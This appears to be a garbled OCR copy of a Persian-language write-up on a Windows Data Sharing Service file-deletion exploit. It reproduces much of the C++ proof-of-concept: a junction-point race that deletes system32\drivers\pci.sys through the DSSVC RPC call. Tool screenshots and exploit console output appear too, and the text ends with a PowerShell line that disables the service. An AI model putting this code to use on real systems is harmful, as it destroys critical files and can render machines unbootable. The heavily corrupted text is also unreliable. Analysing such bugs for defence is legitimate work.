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D¢ oo 1> SVCOSE (salauly 4 5 dssve.dll

W' svchostexe (10352) Properties = a X
Environment Handles Services GRU Digk and Network Comment
General Statistice Performance Threads Token Modules Memary

File

vindows Services

Varson: 10.0.17134.1

Image file name

CH\Windows\System32\svchost exe

Process

Command line: \Svchost.exe -k localsystamnetworkrestricted -p -s DSSW

Current directory C:\WINDOWS\system32),

Started: 3 doys and 7 howrs ago (11:03:33 AM 12/22/2018)

PEB address Oxc3celas000 ¥mage type: 64-bt
Farent: servces exe (860)

Mitigation DEP (permanent); ASLR (high entropy): Strict hand Deatails

Protection: None Permissions Terminate

Close
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FeldeC hangmVaw - CA - o *
| fie Edt Yiew Optcm Meip
OeeBud A
Fename Modfied.. Crexed. Deletes. Reame.. Full Path Eeenuon  Fle Owner Amnbuges *
DataSharng ! 1 0 0 CAWmndowy'\Systamilicenhgiyytem.
Sorage 10 1 0 0 CAWindowy' Sytemnidiconfig wytem..
Lecal 1 $ b 0 Sytemnid\conhigh vy
DSIN0001 beg 17 | 0 2 CAWindows' Sypemiliconfigirem. kg
DSSiog 8 1 0 ! CAWmdowy\Spstemiliconbigivytem.  leg
DESwsd0001 v 2 | ] 0 C\Windows\Sysemilicenfigissem. g
DESenedC00 1 b 0 CAWndown\Sytemil\conhiginytem. m
055.chi 3 | 0 0 CAWindous\ Syemiliconfig sptem..  chic
D5 Tokan82 gm 4 1 0 0 CAWandowy\Spsemiliconhighaytem.  fm
DS TokerDR2 dat q | ) 0 C\Windows Systemiliconfighysem..  det
.| DSStmpbog 1 b 0 CAWndowy\Sytemiliconhighntem. g
NETEXE-1CB0ATHA pf ! | 0 0 CAWndoos' Prefetc hNET 1 EXE- 100 [
NETEXE-E1ETASSD g4 ! 1 0 0 CAWadowy'\Prefetc NET EXE-61ETAS.. of
bl | 0 1 0 0 CAblah D
[T ] 1 ] 0 CAblah D
muser dat A OG) 2 ¢ 0 0 CAUsers\contoc rtaner. dat L OGO Lo NT AUTHORITSYSTEM AMS
duockM) ddock 0 1 1 0 CH bty stk 1 ahybock thlock
pein 0 ! 1 0 CAbah posys we DESKTOP-LKD2XT cmtce A
dyockinl.ddock 0 1 1 0 C bl e bockdfT shlock hlnck
peian 0 ¢ 1 0 CAWndows\ System il dnvengayy Wy
DELTTERUG EXE-BAAFIT 22 gt 1 1 0 0 CAWndowy'\Brefetc M DELETIBUG X o
drrvery | ¢ 1 0 C\Wadowy Systemilidrmeens NT SERVCE Trustesttater D -
. »
118 aemix) 1 Selected MirSoft Frecesre NI www. e nof el

» This PC » Local Disk () »

v O Search Local Dj

Mame a Date modified Type
blah 12/17/2018 1219 ...  File folder
” 71 blahl 121772018 12:19...  File folder
’ PerfLogs 4/12/2018 4:08 AM  File folder
#* Program Files 12/16/2018 8:51 PM  File folder
b Program Files (x86]) 12/17/201812:33 ... Filefolder
Users 1217/201812:13 ... File folder
Windows 12/16/2018 11:47 ... File folder
ThisPC » Local Disk (C) » blahl »
bizh Mame - D
hae ew DriverData 4
# Ths2C » Local Disk () » blch ’ en-Us
Hame " . st _
; » ru-RU Dlate created: 4/12/2018 4:03 AM
* pelsys * UMDF IE:Iz:sl:2?13cln35tk5:,BIr'r1husts.sar'ﬂr network:
X 4 wid T
|_"|1 Iware.sys 4
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- int main()

HANDLE hFile;

| system("net start \"Data Sharing Service\""); |
Sleep(1060);
do

({

[Tunme(); |

hFile = CreateFile(L"c:\\windows\\system32\\drivers\\pci.sys",
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);

CloseHandle(hFile);

} while (hFile != INVALID_HANDLE VALUE);

return 8:

1ol 0as eolazwl CreateDirectory b ;i 56 Blahl g Blah slaass cole ey

void runme() {
CreateDirectory(L"c:\\blahl"™, NULL);
CreateDirectory(L"c:\\blah", NULL);
ReparsePoint: :CreateMountPoint(L"c:\\blah1l", L"c:\\blah", L"");
HANDLE mThread = CreateThread(

NULL, // default security attributes
e, // use default stack size
MyThreadFunction, // thread function name

NULL, // argument to thread function

e, // use default creation flags

NULL); // returns the thread identifier
SetThreadPriority(mThread, THREAD_PRIORITY_TIME_CRITICAL);
Sleep(1000);

RunExploit();
Sleep(1@@0);
}
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BOOL DeviceIoControl(

HANDLE hDevice,

DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID 1pOutBuffer,
DWORD nOutBufferSize,
LPDWORD 1pBytesReturned,

LPOVERLAPPED lpOverlapped
)s
8L el bl s JyuS oS g5 4 atw DevicelOControl 51 solaiwl IS jsb a4 4l
Amles camlice aoliy o1y aigy rpl aule oo iy 40 098 oo oolatul

CreateDirectory(L"c:\\blahl", NULL);

CreateDirectory(L"c:\\blah", NULL);

ReparsePoint: JCreateMountPointf(L"c:\\blah1", L"c:\\blah", L""); 1
HANDLE mThread = CreateThread(

—bool Reparsef r.v':#reateMountPoint(const std::wstring& path, const std::wstringd target, const std::wstring& printna -)I

{

if (target.length() == @)
{

return false;
)

H

I return CreateMountPointInternal(path, BuildMountPoint(FixupPath(target), printname)); I 3

}

-static boolI(reateMountPointInternal(const opedHandle&

f indle, typed buffer ptr<REPARSE DATA_BUFFER>& buffer) I 4
{

I return SetReparsePoint(handle, buffer); I 5

}

static boo]ISetchﬂrscPoint(cona( scopedHandle® handle, typed buffer_ptr<REPARSE_DATA_BUFFER>& reparse ffer) | (3
{

DWORD cb;
if (lha .Isvalid()) {
return false;

}

bool ret = DeviceloControl(handle _SET_REPARSE_POINT

<b, nullpte) == TRUE;

IS ffer,
if (lret)
{

g_last_error = GetLastError();

}

return ret;
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HANDLE mThread = CreateThread(
NULL, // default security attributes
Q, // use default stack size
MyThreadFunction, // thread function name
NULL, // argument to thread function
9, // use default creation flags
NULL); // returns the thread identifier

|SetThreadPriority(mThread, THREAD_PRIORITY_TIME_CRITICAL);

- fammamn

Sle1s 50wl S 3,k 5l (thread Function Name) z &b ol ows oo YU j0 a5 jshilen
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hfile = CreateFile(L"c:\\blah\\pci.sys",GENERIC_READ,FILE_SHARE_READ |
FILE_SHARE_WRITE |
FILE_SHARE_DELETE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
} while (hFile == INVALID_HANDLE_VALUE);
ReparsePoint::CreateMountPoint(L"c:\\blahl", L"c:\\windows\\system32\\drivers®”, L"");J
CloseHandie(hFile);

il o PCILSYS s 33> el aladl s 31 YU ol e plad alosl 5l s

RpcTryExcept

{
Proc8_RpcDSSMoveFromSharedFile(handle, L"token",L"c:\\blahl\\pci.sys");
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P DeleteBugl\DeleteBugl\DeleteBug\x64\Debug deletebug. exe

Attempt count
attempt count:
attempt count:
[+]attempt count:
+]attempt count
1 count.
count
mt count:
[+]attempt count
[+]attempt count:
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B C\Users\certcc\Desktop\deletebug.exe

starting.
was started successfully.

sl 4 1o

g 39 Jlb it b g oo 09 ] CdliogSole bawgs (6 pdycal onl (el alog o5 Glej b
2 25 ol 3l adlgige sshite cnl gl 85 1) pdocanl ol 5l esliiulse (g5l lgi o DSSVC
:awles oolawl powershell

Set-Service dssvc -StartupType Disabled

&bw
https://docs.microsoft.com/en-us/windows/desktop/api/ioapiset/nf-ioapiset-deviceiocontrol
http://sec.sangfor.com.cn/events/163.html
https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-
setthreadpriority

https://www.exploit-db.com/exploits/45675
https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-
createthread
https://msdn.microsoft.com/en-us/library/windows/desktop/aa364595(v=vs.85).aspx
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